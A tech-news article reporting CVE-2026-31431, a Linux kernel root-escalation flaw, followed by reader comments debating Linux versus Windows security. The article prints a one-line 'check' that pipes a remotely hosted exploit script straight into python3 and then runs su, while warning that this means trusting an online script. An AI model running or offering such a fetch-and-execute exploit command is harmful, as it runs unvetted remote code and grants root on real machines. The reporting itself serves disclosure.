Linux exploit instantly grants administrator access on most distributions since 2017 — cryptography optimization snafu grants root privileges to local users

Security vulnerability
(Image credit: Getty Images)

It is quite an interesting patch week for Linux systems administrators out there. Researchers at Xint Code have discovered a nasty exploit that instantly grants root access to any local unprivileged user, a nightmare scenario for multi-user servers of various types, including web servers, container environments like Kubernetes, CI/CD pipelines, and more.

The CVE-2026-31431 exploit affects pretty much every Linux distro currently in use and has existed since 2017. Although it's not a zero-day and the kernel has already gotten a patch, the short disclosure window gave distro makers relatively little time to react. Affected variants include (but aren't limited to) Ubuntu 24 (version 26 was just released last week), RHEL 10, Suse 16, and Amazon Linux 2023. Even Windows' WSL2 is affected, and all it takes is 732 bytes to do it.

To check that a system is vulnerable, you can just run "curl https://copy.fail/exp | python3 && su" with a standard unprivileged account — though we should note that you're trusting an online script. The source code for the proof-of-concept is available here if you prefer. If your distro doesn't have a patch available yet, you can try one of two mitigation methods.

Article continues below

Google Preferred Source

Follow Tom's Hardware on Google News, or add us as a preferred source, to get our latest news, analysis, & reviews in your feeds.

Bruno Ferreira
Contributor

Bruno Ferreira is a contributing writer for Tom's Hardware. He has decades of experience with PC hardware and assorted sundries, alongside a career as a developer. He's obsessed with detail and has a tendency to ramble on the topics he loves. When not doing that, he's usually playing games, or at live music shows and festivals.

  • PEnns
    Isn't this the EXACT invincibility the Linux crowd kept bragging to us poor Windows folks since about Linux inception and till now??

    Tsk tsk...
    Reply
  • SILVERTHRONE32
    Damn. I shut down my Ubuntu nodes as soon as I saw this... Now comes the waiting game to see if Ubuntu 24 patches this in LTS anytime soon.
    Reply
  • BTM18
    PEnns said:
    Isn't this the EXACT invincibility the Linux crowd kept bragging about to us poor Windows folks about since Linux inception and till now??

    Tsk tsk...
    Maybe they will more humble from now on? Ya right.
    Reply
  • coolitic
    PEnns said:
    Isn't this the EXACT invincibility the Linux crowd kept bragging about to us poor Windows folks about since Linux inception and till now??

    Tsk tsk...
    To this day, I've never had to run any AV on any Linux machine, and I know of 0 Linux machines, owned by anyone I know, ever actually being exploited by anything. Can't say the same as when I was running Windows though.

    I don't think anyone has ever claimed that Linux was "invincible". Its relative rarity of exploits is mostly a factor of it being less popular, and its users rarely being tech-illiterate.
    Reply
  • LordVile
    PEnns said:
    Isn't this the EXACT invincibility the Linux crowd kept bragging about to us poor Windows folks about since Linux inception and till now??

    Tsk tsk...
    If anything Linux isn’t really prepared to deal with malware. The only reason why it’s not rammed with malware is due to no one actually using it and with no bug bounty, forced updates and dedicated security team vulnerabilities will be found, take years to be discovered whilst being exploited and then take forever to push updates out to affected devices.
    Reply
  • PEnns
    coolitic said:
    To this day, I've never had to run any AV on any Linux machine, and I know of 0 Linux machines, owned by anyone I know, ever actually being exploited by anything. Can't say the same as when I was running Windows though.

    I don't think anyone has ever claimed that Linux was "invincible". Its relative rarity of exploits is mostly a factor of it being less popular, and its users rarely being tech-illiterate.
    I loved the (unintended) disclaimer: "to this day"! And yet, today it happened!!

    OK Linux was claimed to be "extremely safe and invulnerable" instead of "invincible", will that help you??

    Just because you had 0 vius issues with Linux, it doesn't mean NO ONE had this luck!

    Hey, I have been running Windows since Windows 3.1. And furthermore, I never had a virus issue of any kind and never had a BSOD either.

    Does that mean Windows is also totally "safe"?? "To this day," I never had any issues either! But the day "ain't over yet".....😉
    Reply
  • FoxtrotMichael-1
    LordVile said:
    If anything Linux isn’t really prepared to deal with malware. The only reason why it’s not rammed with malware is due to no one actually using it and with no bug bounty, forced updates and dedicated security team vulnerabilities will be found, take years to be discovered whilst being exploited and then take forever to push updates out to affected devices.
    Linux isn't prepared to deal with malware due to "no one actually using it"? You do know that almost every server in the world uses Linux right (~80% of web-facing servers and ~90% of cloud infrastructure)? You also do know that most distributions have already pushed kernel updates to fix this CVE right (the actual linux kernel itself was patched 9 days after the initial private disclosure and before the public disclosure)?

    The reality is that nobody cares about your linux desktop and nobody is trying to deploy malware on your linux desktop - they care about using copyfail to gain host root access on a kubernetes cluster through a container. The thing about linux security is that it's a completely different game than Windows malware. With windows, you have to worry about small-timers deploying junk malware to your system that is annoying, with ransomware in the medical industry probably being the worst case scenario. With linux, we worry about entire cloud infrastructure regions going down and millions (billions?) of dollars in damages. So your idea of Windows and linux security is exactly backwards. Linux is absolutely hardened, patched, and updated at a rate that makes Windows look like it's stuck in time.
    Reply
  • timsSOFTWARE
    coolitic said:
    To this day, I've never had to run any AV on any Linux machine, and I know of 0 Linux machines, owned by anyone I know, ever actually being exploited by anything. Can't say the same as when I was running Windows though.

    I don't think anyone has ever claimed that Linux was "invincible". Its relative rarity of exploits is mostly a factor of it being less popular, and its users rarely being tech-illiterate.
    The problem is that, while criminals used to be rare in IT for various reasons, LLMs have lowered the barrier to entry, and significantly reduced the effort required. Maybe they are not even a Linux user, but prompting an abliterated local LLM for exploits.

    I don't see any good solutions for it currently either - the old assumptions you could make about safety through taking basic precautions like not installing obviously sketchy software advertised in popups, and avoiding opening email attachments and phishing links, are insufficient now. The bad actors sound the same as everyone else using LLMs to write copy for them. State-funded hacking groups are more active than criminal groups. And the people who are well-meaning but writing software in ignorance of security are almost as bad as the criminals.
    Reply
  • Sovilace
    I only have 1 user.
    Even when I had windows.
    Also, windows users shouldn't try to act like they are invincible either. People can hack windows with a pinky finger. They can access your pc through one drive.
    Reply
  • cuvtixo
    PEnns said:
    a user of Windows since Windows 3.1. And furthermore, I never had a virus issue of any kind and never had a BSOD either.
    wow. you're trolling Linux users with that claim? It's hard to believe, and seems likely you simply forgot after all this time. Can we assume you didn't use NT until XP? What exactly do you mean by "user of Windows"? The problem is you get offended by Linux users claims, when you don't have a firm grasp on the systems you yourself have been using. Your argument is about brand loyalty, not security at all. Do you even know what Wannacry was? Come back with a technical observation about security. Or maybe you want to exchange notes on security of my Apple II ProDOS use compared to your Windows 3 experiences? I'll let you babble about cooperative and pre-emptive multitasking, I promise. Or maybe a debate about Superman vs. Goku is more at your level?
    Reply